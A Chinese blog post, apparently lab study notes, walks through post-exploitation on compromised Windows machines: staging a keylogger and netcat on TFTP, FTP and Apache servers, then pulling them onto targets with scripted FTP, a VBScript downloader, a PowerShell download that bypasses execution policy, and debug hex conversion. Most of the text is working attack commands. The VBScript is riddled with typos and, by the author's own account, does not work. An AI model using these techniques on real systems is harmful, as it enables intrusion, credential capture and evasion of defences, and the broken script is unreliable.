kali渗透学习-后渗透利用阶段(windos上传工具)

入侵成功后,后漏洞利用阶段
1.上传工具
2.提权
3.擦除攻击痕迹
4.安装后门

 长期控制
 Dump 密码
 内网渗透

后漏洞利用阶段最大的挑战 ----防病毒软件(免杀)
使用合法的远程控制软件
或者使用免杀技术

上传工具
实现持久控制和扩大对目标系统的控制能力
Linux系统自带的一些可利用下载工具

netcat
curl
wget

Windows缺少预装的下载工具
windos缺少预装的下载工具,可以有以下几种思路
非交互模式 shell有局限性(例如不会提示你输入密码,可以先将命令写入到一个文件,然后通过其他方式调用执行)
类 NC远程控制shell为非交互式

常用的几种传输文件思路

Tftp
Ftp
Vbscript(没有成功)
Powershell win7 win8
Debug

Tftp
【构造一个TFTP服务器,在服务器中放置工具木马等,再通过被控端连接下载】

XP、2003中默认安装,Win7、2008以后的系统需要单独添加,但经常被边界防火墙过滤。主流为FTP,是因为基于UDP协议,明文传输,不支持身份验证

利用kali

mkdir /tftp #创建tftp目录

chown -R nobody 设置权限所有者为nobody【无本地登录权限】

cp /usr/share/windows-binaries/whoami.exe /tftp/ #windows下查看当前用户

cp /usr/share/windows-binaries/klogger.exe /tftp/ #拷贝键盘记录器
在这里插入图片描述
atftpd --daemon --port 69 /tftp/ #daemon,用后台方式启动,主目录指向tftp
由于权限问题,会出现以下这个常见问题【启动进程不是tftp,我没有遇到】
在这里插入图片描述
需kill 543这个进程,使用chown -R nobody /tftp/ 【将所有者改成nobody】
在这里插入图片描述
重启服务
在这里插入图片描述
进行tftp文件传输
在这里插入图片描述
启动键盘记录器后查看进程tasklist #查看进程
在这里插入图片描述
键盘记录器会记录管理员的输入,再同目录下会生成记录键盘输入的文本文件(需要到winxp上操作记录,远程shell不会被记录)
在这里插入图片描述
查看记录结果
在这里插入图片描述
Ftp
先在kali上apt-get install pure-ftpd

使用脚本配置Ftp服务器【切记:设置的密码,下面echo会用到】

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd yuanfh -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/                   #创建的ftp主目录
/etc/init.d/pure-ftpd restart

测试本地FTP服务器是否开启
在这里插入图片描述
因为非交互系统中,ftp传输,在password命令处无法显示,所以需要通过转换思路进行下载

思路:【将要实现的命令写到目标服务器的文本文件中,用ftp读取文本文件的命令进行下载】

C:\>echo open 192.168.1.127 21>ftp.txt
echo open 192.168.1.127 21>ftp.txt

C:\>echo yuanfh>>ftp.txt
echo yuanfh>>ftp.txt

C:\>echo password>>ftp.txt
echo password>>ftp.txt

C:\>echo bin>>ftp.txt
echo bin>>ftp.txt

C:\>echo GET whoami.exe >> ftp.txt
echo GET whoami.exe >> ftp.txt

C:\>echo GET klogger.exe >> ftp.txt
echo GET klogger.exe >> ftp.txt

C:\>echo bye >> ftp.txt
echo bye >> ftp.txt

##先将whoami,klogger等程序拷贝到ftphome目录【cp /tftp/* /ftphome/】

用ftp -s:ftp.txt调用

Vbscript(没有成功)
#VBS是windows系统上默认的解释型脚本语言,在win7后增加了perl

##通过web程序,http协议下载远程控制程序,需在kali启动apache2

root@kali:~# service apache2 start
root@kali:~# netstat -pantu | grep :80
tcp6       0      0 :::80                   :::*                    LISTEN      4433/apache2   

进入apache2默认目录,拷贝文件

root@kali:~# cd /var/www/html
root@kali:/var/www/html# cp /ftphome/* .
root@kali:/var/www/html# ls
index.html  klogger.exe  whoami.exe
root@kali:/var/www/html# 

粘贴以下命令到shell窗口

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("WinHttp.MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Noting >> wget.vbs
echo Set fs = CreateObject("Scrippting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Miidb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://192.168.1.127/whoami.exe w.exe
【windows系统自带的cscipt命令去下载whoami.exe 命名成w.exe,传输完成后,需重启一下目标系统】

Powershell win7 win8
##需在windows系统下运行powershell脚本

$strongeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://192.168.1.127/whoami.exe"
$file = "new-exsploit.exe"
$webclient DownloadFile($url,$file)

powershell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -Noprofile -File wget.ps1

Debug
Debug是一种汇编、反汇编的16进制dump工具,作为文件传输,默认情况下只能传输64k字节的数据,大概思路就是将nc转换成16进制debug然后生成一个16进制文件,最后再反汇编回来称为nc工具
使用upx压缩文件进行压缩再进行传输

root@kali:~# upx -9 nc.exe                          #-9:最高程度压缩
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29184   49.14%    win32/pe     nc.exe      

将exe程序转化成16进制文本格式
wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
将文本文件中的16进制代码(除倒数两行外)全部复制到shell窗口中

debug<123.hex #生成1.dll

copy 1.dlll nc.exe

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值